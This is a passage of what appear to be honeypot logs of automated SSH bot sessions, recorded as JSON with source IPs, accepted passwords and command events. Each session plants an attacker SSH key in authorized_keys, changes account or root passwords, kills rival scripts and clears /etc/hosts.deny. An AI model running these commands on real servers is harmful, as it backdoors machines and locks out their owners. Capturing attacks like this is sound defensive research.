.ssh; lockr -ia .ssh","started_at":"2026-08-27T11:13:56.109836+00:00","ended_at":"2026-08-27T11:13:57.448176+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2130,"events":[{"seq":1,"at":"2026-08-27T11:13:29.009227+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-27T11:13:29.274375+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-27T11:13:33.174846+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-27T11:13:34.171012+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-27T11:13:34.437100+00:00","kind":"input","latency_ms":null,"data":"echo -e \"soporte2025\\nYSy4Hnsbir9U\\nYSy4Hnsbir9U\"|passwd|bash"},{"seq":6,"at":"2026-08-27T11:13:34.703121+00:00","kind":"input","latency_ms":null,"data":"echo \"soporte2025\\nYSy4Hnsbir9U\\nYSy4Hnsbir9U\\n\"|passwd"},{"seq":7,"at":"2026-08-27T11:13:34.968062+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-27T11:13:36.397020+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-27T11:13:36.423544+00:00","kind":"output","latency_ms":null,"data":""},{"seq":10,"at":"2026-08-27T11:13:36.628511+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-27T11:13:36.659081+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":12,"at":"2026-08-27T11:13:38.314332+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-27T11:13:38.580609+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":14,"at":"2026-08-27T11:13:40.663358+00:00","kind":"output","latency_ms":null,"data":""},{"seq":15,"at":"2026-08-27T11:13:40.932224+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":16,"at":"2026-08-27T11:13:41.864073+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":17,"at":"2026-08-27T11:13:42.133447+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":18,"at":"2026-08-27T11:13:43.034172+00:00","kind":"output","latency_ms":null,"data":" 11:13:43 up 7 days, 8:03, 0 user, load average: 0.1, 0.08, 0.08\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":19,"at":"2026-08-27T11:13:43.299832+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":20,"at":"2026-08-27T11:13:44.509060+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":21,"at":"2026-08-27T11:13:44.774848+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":22,"at":"2026-08-27T11:13:46.753197+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":23,"at":"2026-08-27T11:13:47.028772+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":24,"at":"2026-08-27T11:13:48.301672+00:00","kind":"output","latency_ms":null,"data":"top - 11:13:48 up 7 days, 8:03, 0 user, load average: 0.1, 0.08, 0.08\nTasks: 119 total, 1 running, 118 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 7626 free, 8261 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":25,"at":"2026-08-27T11:13:48.569960+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":26,"at":"2026-08-27T11:13:50.356323+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":27,"at":"2026-08-27T11:13:50.619997+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":28,"at":"2026-08-27T11:13:51.829416+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":29,"at":"2026-08-27T11:13:52.093884+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":30,"at":"2026-08-27T11:13:53.415007+00:00","kind":"output","latency_ms":null,"data":"soporte"},{"seq":31,"at":"2026-08-27T11:13:53.679431+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":32,"at":"2026-08-27T11:13:55.846551+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":33,"at":"2026-08-27T11:13:56.110603+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":34,"at":"2026-08-27T11:13:57.372852+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"soporte","password":"soporte2025","method":"password","accepted":true,"tier":"other"}]} {"id":"4ce1b0fb-5f53-4d10-8e3e-dbd643796021","name":"spirited-dewy-hamster","protocol":"ssh","channel_kind":"exec","src_ip":"187.111.28.131","src_port":58878,"username":"root","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":460,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-27T11:12:44.677709+00:00","ended_at":"2026-08-27T11:12:45.956673+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2172,"events":[{"seq":1,"at":"2026-08-27T11:12:24.317195+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-27T11:12:24.774463+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-27T11:12:28.676108+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-27T11:12:29.265163+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-27T11:12:29.725057+00:00","kind":"input","latency_ms":null,"data":"echo \"root:e3xdJrgoShPk\"|chpasswd|bash"},{"seq":6,"at":"2026-08-27T11:12:30.183098+00:00","kind":"input","latency_ms":null,"data":"rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"},{"seq":7,"at":"2026-08-27T11:12:30.642659+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-27T11:12:31.438596+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-27T11:12:31.901891+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-27T11:12:33.199495+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-27T11:12:33.664697+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-27T11:12:35.055201+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-27T11:12:35.516512+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-27T11:12:36.120131+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":15,"at":"2026-08-27T11:12:36.579057+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-27T11:12:36.851691+00:00","kind":"output","latency_ms":null,"data":" 11:12:36 up 7 days, 8:02, 0 user, load average: 0.09, 0.07, 0.08\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-27T11:12:37.312822+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-27T11:12:37.583076+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-27T11:12:38.043653+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-27T11:12:38.782271+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-27T11:12:39.241147+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-27T11:12:39.787687+00:00","kind":"output","latency_ms":null,"data":"top - 11:12:39 up 7 days, 8:02, 0 user, load average: 0.09, 0.07, 0.08\nTasks: 121 total, 1 running, 120 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 7785 free, 8102 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-27T11:12:40.247283+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-27T11:12:40.649067+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-27T11:12:41.111765+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-27T11:12:41.572603+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-27T11:12:42.032947+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-27T11:12:42.293215+00:00","kind":"output","latency_ms":null,"data":"root"},{"seq":29,"at":"2026-08-27T11:12:42.752728+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-27T11:12:44.219175+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":31,"at":"2026-08-27T11:12:44.683880+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-27T11:12:45.814211+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"root","password":"123456Ww","method":"password","accepted":true,"tier":"other"}]} {"id":"a04af3ce-123f-4997-8f7b-0701550677b7","name":"coastal-wry-brambling","protocol":"ssh","channel_kind":"exec","src_ip":"51.255.195.46","src_port":45448,"username":"zy","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":265,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-27T11:11:54.590641+00:00","ended_at":"2026-08-27T11:11:55.801473+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2108,"events":[{"seq":1,"at":"2026-08-27T11:11:36.149903+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-27T11:11:36.413623+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-27T11:11:40.416036+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-27T11:11:41.513332+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-27T11:11:41.776615+00:00","kind":"input","latency_ms":null,"data":"echo -e \"zy123456\\nTBaQbVlXfgH5\\nTBaQbVlXfgH5\"|passwd|bash"},{"seq":6,"at":"2026-08-27T11:11:42.041169+00:00","kind":"input","latency_ms":null,"data":"echo \"zy123456\\nTBaQbVlXfgH5\\nTBaQbVlXfgH5\\n\"|passwd"},{"seq":7,"at":"2026-08-27T11:11:42.306768+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-27T11:11:42.559590+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-27T11:11:42.827631+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-27T11:11:43.702809+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-27T11:11:43.970016+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-27T11:11:45.394429+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-27T11:11:45.661434+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-27T11:11:46.539599+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":15,"at":"2026-08-27T11:11:46.803108+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-27T11:11:47.310258+00:00","kind":"output","latency_ms":null,"data":" 11:11:47 up 7 days, 8:01, 0 user, load average: 0.11, 0.1, 0.09\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-27T11:11:47.575684+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-27T11:11:48.294117+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-27T11:11:48.558646+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-27T11:11:49.348112+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-27T11:11:49.614043+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-27T11:11:50.293328+00:00","kind":"output","latency_ms":null,"data":"top - 11:11:50 up 7 days, 8:01, 0 user, load average: 0.11, 0.1, 0.09\nTasks: 108 total, 1 running, 107 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 9056 free, 6831 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-27T11:11:50.559702+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-27T11:11:51.396154+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-27T11:11:51.666133+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-27T11:11:51.933211+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-27T11:11:52.197257+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-27T11:11:52.854338+00:00","kind":"output","latency_ms":null,"data":"zy"},{"seq":29,"at":"2026-08-27T11:11:53.119733+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-27T11:11:54.325910+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":31,"at":"2026-08-27T11:11:54.591477+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-27T11:11:55.726680+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"zy","password":"zy123456","method":"password","accepted":true,"tier":"other"}]} {"id":"2b2de2d6-4bc6-4bb3-a551-2b3ef1f221f4","name":"serene-woven-meerkat","protocol":"ssh","channel_kind":"exec","src_ip":"202.155.157.112","src_port":59536,"username":"root","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":771,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-27T11:11:27.267098+00:00","ended_at":"2026-08-27T11:11:28.802420+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2159,"events":[{"seq":1,"at":"2026-08-27T11:11:00.748534+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-27T11:11:01.522549+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-27T11:11:06.997168+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-27T11:11:07.561308+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-27T11:11:08.341902+00:00","kind":"input","latency_ms":null,"data":"echo \"root:9PQVq4QgAYio\"|chpasswd|bash"},{"seq":6,"at":"2026-08-27T11:11:09.108511+00:00","kind":"input","latency_ms":null,"data":"rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"},{"seq":7,"at":"2026-08-27T11:11:09.875229+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-27T11:11:10.552039+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-27T11:11:11.325311+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-27T11:11:12.158033+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-27T11:11:12.931940+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-27T11:11:13.984637+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-27T11:11:14.756482+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-27T11:11:15.415305+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":15,"at":"2026-08-27T11:11:16.186504+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-27T11:11:16.581769+00:00","kind":"output","latency_ms":null,"data":" 11:11:16 up 7 days, 8:01, 0 user, load average: 0.22, 0.2, 0.25\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-27T11:11:17.348137+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-27T11:11:18.187514+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-27T11:11:18.957533+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-27T11:11:19.523809+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-27T11:11:20.295321+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-27T11:11:20.832368+00:00","kind":"output","latency_ms":null,"data":"top - 11:11:20 up 7 days, 8:01, 0 user, load average: 0.22, 0.2, 0.25\nTasks: 126 total, 1 running, 125 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 9373 free, 6514 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-27T11:11:21.603898+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-27T11:11:22.097302+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-27T11:11:22.871587+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-27T11:11:23.283234+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-27T11:11:24.054382+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-27T11:11:24.454329+00:00","kind":"output","latency_ms":null,"data":"root"},{"seq":29,"at":"2026-08-27T11:11:25.224560+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-27T11:11:26.492301+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":31,"at":"2026-08-27T11:11:27.268147+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-27T11:11:28.556456+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"root","password":"asd@123..","method":"password","accepted":true,"tier":"other"}]} {"id":"a220ef4d-9bf8-4bf3-b410-3e6e2c56c42c","name":"boreal-vaulted-marten","protocol":"ssh","channel_kind":"exec","src_ip":"187.111.28.131","src_port":58856,"username":"ymoreno","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":447,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-27T11:09:59.421924+00:00","ended_at":"2026-08-27T11:10:00.922018+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2111,"events":[{"seq":1,"at":"2026-08-27T11:09:38.438438+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-27T11:09:38.882264+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-27T11:09:43.930892+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-27T11:09:44.207061+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-27T11:09:44.655708+00:00","kind":"input","latency_ms":null,"data":"echo -e \"123456\\nL3UVTrQW2AYP\\nL3UVTrQW2AYP\"|passwd|bash"},{"seq":6,"at":"2026-08-27T11:09:45.099192+00:00","kind":"input","latency_ms":null,"data":"echo \"123456\\nL3UVTrQW2AYP\\nL3UVTrQW2AYP\\n\"|passwd"},{"seq":7,"at":"2026-08-27T11:09:45.543882+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-27T11:09:45.886113+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-27T11:09:46.337036+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-27T11:09:47.155729+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-27T11:09:47.608339+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-27T11:09:48.819816+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-27T11:09:49.268826+00:00","kind":"input","latency_ms":null,"data":"crontab 